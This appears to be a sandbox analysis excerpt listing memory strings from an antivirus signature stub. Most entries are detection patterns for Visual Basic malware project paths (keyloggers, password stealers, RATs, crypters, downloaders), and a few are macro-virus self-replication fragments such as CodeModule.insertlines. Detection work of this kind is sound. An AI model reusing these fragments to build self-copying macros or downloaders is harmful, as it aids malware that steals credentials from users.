        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: bho\VBBHO.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: worm2007.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: .+\\Cryptosy\\Stub\\Stub.vbp
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpBinary or memory string: 1ocuments and Settings\Usuario\1scritorio\Ex\Ex.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: .+:\\SoUrCe.*!\\.*SOURC.*\\PrjMain.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: AC:\Atari.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: .+\\(BotSupho Compiler|BotSupHo\\.+?\\Server(new)?)(\\Server)?\\Project2\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpBinary or memory string: C:\\Users\\Trovao\\Desktop\\.*\\Puxa - Fora\\oriente.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: \REeB.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: D:\\.+\\.+fcx\\.+1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: J*\AD:\Master\ADWARA_NEW\bho\VBBHO.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: JE.+:\\backup 20##11\\bank\\Pharming\\Projeto VB\\Project1.NET\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: 2sharK\Server\Projekt1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: ,Z:\a_new_dll\VIVAX.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: HMDCorP.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: removeTable.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString listboxStorageCounter]
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpBinary or memory string: .VBProject.VBComponents(1).CodeModule.insertlines
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpBinary or memory string: ^Systema So as ipanema tem\INSTALL\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: J\MSLoad.VB.Keylogger.Project\DOWN.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: = NormalTemplate.VBProject.VBComponents(1).CodeModule
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: C:\\Program Files\\jarrcod\\mesopotamia_cellt.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: :\\Jhocko\\Loader\\Loader.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: .+:\\Work\\test\\.+\\Mouchafer\\.+\\.+\\.+_Generated-.*\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\NovissimoVBLoaderFILE.*\\NovissimoVBLoader\\Prg_Flex.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: H\Users\User\Desktop\hta\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: ^\ie.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: .+Evoloution\\Server\\Server\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: D:\\Setup\\Drivers\\Audio\\Installs_the_RealTek_AC_97_audio_driver\\WDM5630\\Documents\\Documents11\\Secret\\Basic\\Updated\\Dao chich\\final 007 spy\\.+\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpBinary or memory string: *\AC:\Users\SqUeEzEr\Desktop\OPENSC CODES FROM ME\Downloader\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: =8.+\\invasao\\aaaa_kit_trix\\NOVENBRO novo KIT GF.+\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: C:\\Documents and Settings\\uko\\Desktop\\PRIMO\\NOVOLOAD.*\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)]
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\Stctr\\.+\\ZynExplore\\ZynExplore.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: \TIOCARADEPENE\Proyecto1.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: .+:\\Apub\\Cyfjrvepg.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: 0MicroProCon\MicroCon.vbp
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpBinary or memory string: .VBProject.VBComponents
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpBinary or memory string: >9C:\\Users\\Trovao\\Desktop\\.*\\Puxa - Fora\\oriente.vbp
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpBinary or memory string: lgC:\\(DOCUME~1|Documents and Settings)\\ben(~1\.BEN)?\\Desktop\\v58\\Win(-Spy)?\\(win|wix|WS86).+?\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: &Desktop\ery\ery.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: .+\\Abdallah\\.+\\iCrypt2.+\\stub_resources\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: :5C:\\Users\\box1\\Desktop\\7black2\\[a-zA-Z]{10,}.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: .+\\mStubmmmm\\Backup.+\\lSUpRQlvPd.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: :\\.+\\mStubmmmm\\Backup-.+\\Backup-.+\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: 50.+\\L1Crpt_src\\ScantimeCrypter\\stub\\Stub.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: bradesco.vbp
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpBinary or memory string: RF:\vb\VISUAL BASIC\VARIOS\teuer\Teuer.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: +&.+:\\.+Hack\\.+\\inject\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: 6\NotPHP +RSRC SQlite\sm.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: Safety.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: .+\\invasao\\aaaa_kit_trix\\NOVENBRO novo KIT GF.+\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: 4\MicroProCon\SeconFile.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: 2-.+:\\clean ppi\\temp\\.+\\DownloadBinary.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: OJC:\\Documents and Settings\\uko\\Desktop\\PRIMO\\NOVOLOAD.*\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpBinary or memory string: ,:\revolucao\SysBox.vbpax
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpBinary or memory string: @*\AD:\Master\ADWARA_NEW\codec\Codec.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: 3.D:\\Wu Tong\\Softwares&Codes\\.*\\Locker\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: ;6.+:\\.+\\Kraken\\Escritorio.+\\descarga\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: C:\\Documents and Settings\\BUNNN\\My Documents\\vb\\Yahoo Spy.+Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: ~A*\AE:\ExeNew\ExeSyVbNew3\ExeSyVb\ExeClientOld360\ExeClient.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: \Revolta.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: .+\\.+Cal.*smalar\\FlooDer\\FLooDeR.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\Desktop\\Codes\\Registro dll\\RegistroDll.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: 1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: \Sp-Binder\Extracter\SpBinderExtracter.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: (\LOADER\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: .+\\TUDO\\ARQUIVOS-NOVOS\\Downloader_pak.+\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpBinary or memory string: Jwarka\kul\201-solitaire\Solitaire.vbp
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: >9.+:\\Arcoir\\islo\\Color\\.+\\ColoresCo.*\\Arcoiriss.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: H\EOF\Alfredo\Downloader\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: .+:\\HELLS.*\\PrjMain.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: \sYs__Tem.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: .+:\\Users\\box1\\Downloads\\SoUnd-.+-2011\\[0-9]{3,16}\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpBinary or memory string: *\AC:\Documents and Settings\tjasi\Desktop\Downloader\Stub\p.vbpd"URLDownloadToFile
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: Scylla Botnet.+\\Server\\Proyecto1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: '".+Evoloution\\Server\\Server\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: :5.+:\\.+\\Cactilio - Joiner.+\\Src\\Stub\\YvcGVCI.vbp
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpBinary or memory string: C:\\Users\\.*\\StuB\\Pro.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: .+\\mywisdom\\asian_scandal.+\\ngentot.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: \WebCounter\Source\WebCounter.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: \QQPop.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: .\LoardR0x\System NT.vbp
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.sln.|%WINDIR%\Explorer.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: <iXato\PharOlniNe\Proyecto1.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: ,'.+:\\SoUrCe.*!\\.*SOURC.*\\PrjMain.vbp
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: .+:\\Arcoir\\islo\\Color\\.+\\ColoresCo.*\\Arcoiriss.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: .)C:\\Xinfiltrate STUB\\[a-zA-Z]{3,20}.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: J@*\AE:\RE9FA3~1\BUG_1_~1\XXXXXX~1.VBP
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpBinary or memory string: .+Yakoza\\server\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: 6:\VB\own\ZB\ss\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: A*\AC:\Documents and Settings\HailuYa.ETHAIR\Desktop\pass\asterie.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: F:\prog lang\visual basic\edu\hack\key logger\EgySpy v1.11\server\EgySpy.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: Virus\lsass.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: UPD:\\(BitComet|BingDun|3D Driving-School)\\[a-zA-Z0-9]{10,30}\\(builder|ad)\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: \ffzefzefz.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: C:\\.*A.*\\B\\Base.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: :5C:\\Users\\GavaLarr\\Desktop\\Windows\\prjSchool.vbp
        Source: MpSigStub.exe, 00000023.00000003.18343980449.0000015B1ACD2000.00000004.00000001.sdmpBinary or memory string: sload.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: %.com\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: \triploader.vbpP
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: E@.+:\\Users\\box1\\Downloads\\SoUnd-.+-2011\\[0-9]{3,16}\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: :\PassStealer 3.0\Projekt1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: bTOYANO\otros virusillos\shell32\devil shell32.vbp
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpBinary or memory string: \GetIPAddresListFromHost\ForRobot\IPv6Chat.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: RMC:\\Documents and Settings\\BUNNN\\My Documents\\vb\\Yahoo Spy.+Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: @.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: E:\\.+\\2010\\baidu.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: C:\winapp.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: 4/.+:\\.+\\Stctr\\.+\\ZynExplore\\ZynExplore.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: \ardCo011064.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: \WinSysFix_1.5.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: \po\Cdmator.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: .+:\\.*XXSourceXX\\PrjMain.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: Z:\vir\vrz\vrz\screencapture\screenCpature.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: *z:\ultimate\casa.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: :\\.+\\Indetectables RAT.+p.+is.+\\SIN WINSOCK\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: .+:\\Obfuscated.*\\unapubvelr.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\Kraken\\Escritorio.+\\descarga\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: \WebNav.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: B=.+:\\.+\\rkmVirus\\Yahoo Server\\.+\\rkmVirusYahoo.*\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: A<C:\\WINDOWS\\system32\\config\\systemprofile\\.+\\Noway.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: PharOlniNe\Proyecto1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: rypter\stub.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpBinary or memory string: F*\AE:\sharK\2.2\Server\Projekt1.vbpd[
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: PD:\Master\bb_soft\bb_loader\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: ,Neriopert\Kolidert.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: \Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: .+:\\Documents and Settings\\User\\Desktop\\.*pia de.*fab\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: :\Users\jpvic\Desktop\VB6DLL\PROFULL_NODLL_SPLIT_AND_RES\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: z1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: \Users\Jatz0r\Desktop\jajajaja\anarko\DRONES 3.0.b\Proyecto1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: C:\Program Files\Microsoft Visual Studio\VB98\pjtAwsVariantioner.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: vbSendMail.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: 0Desktop\war\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: vC:\Program Files\Microsoft Visual Studio\VB98\pjtbinder.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: 1,.+:\\.+\\Desktop\\Yeni Klas.+\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: Final RS Stealer\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: SN.+\\(BotSupho Compiler|BotSupHo\\.+?\\Server(new)?)(\\Server)?\\Project2\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: \Asterios\Heriposter.vbpxe
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: '"\\Explorador-Remoto\\Servidor.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: Dicionario.vbp
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpBinary or memory string: \ADWARA\prjX.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: C:\\Users\\box1\\Desktop\\7black2\\[a-zA-Z]{10,}.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: \W.+:\\Intel\\Obfuscated Number-[0-9]{1,3}\\Obfuscated Nr-[0-9]{1,3}\\[a-zA-Z]{5,15}.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: C:\\Documents and Settings\\VAIO\\Desktop\\2012\\[a-zA-Z]+\\GbpSv.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: .+\\Viruses\\Black Project\\Dark_Love.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: *\AD:\Software\Hacking Tools\DDOS tools\STRESS\BBHH-DoS\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: \\Laboratorio de Virus\\WinXP\\Downloader.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: KeyBoardSpy.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: 50.+\\TUDO\\ARQUIVOS-NOVOS\\Downloader_pak.+\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: ao com erro\PrjMain.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: 0FileEZ HTTP\ServiceSample.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: C:\\WINDOWS\\system32\\config\\systemprofile\\.+\\Noway.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: .@*\AG:\NEW\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: \Program Files\Microsoft Visual Studio\VB98\VB Projects\Viruses\HDKP4\HDKP_4.vbp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: ,z:\abc\load\kombi.vbpxM
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpBinary or memory string: @\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: D:\\(BitComet|BingDun|3D Driving-School)\\[a-zA-Z0-9]{10,30}\\(builder|ad)\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: D:\\Main JOHN\\Recovered KILL\\.*Main Uploader\\ServiceSample.vbp
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpBinary or memory string: ..\Desktop\Startup\Bitar.vbpxN
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\fuckADX\\.+\\ADs.*\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: 4/.+\\Apr 14 2011 FileEZ HTTP\\ServiceSample.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: B=C:\\Users\\.*\\Desktop\\.*\\Lite-Stub\\Obfuscated .*\\.*.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: F*\AD:\Junk Programs\Test_Passw20243252017\TestPwd\TestPwd.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: 2Crypt3r\demonio666vip.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: P\AYO.vbp
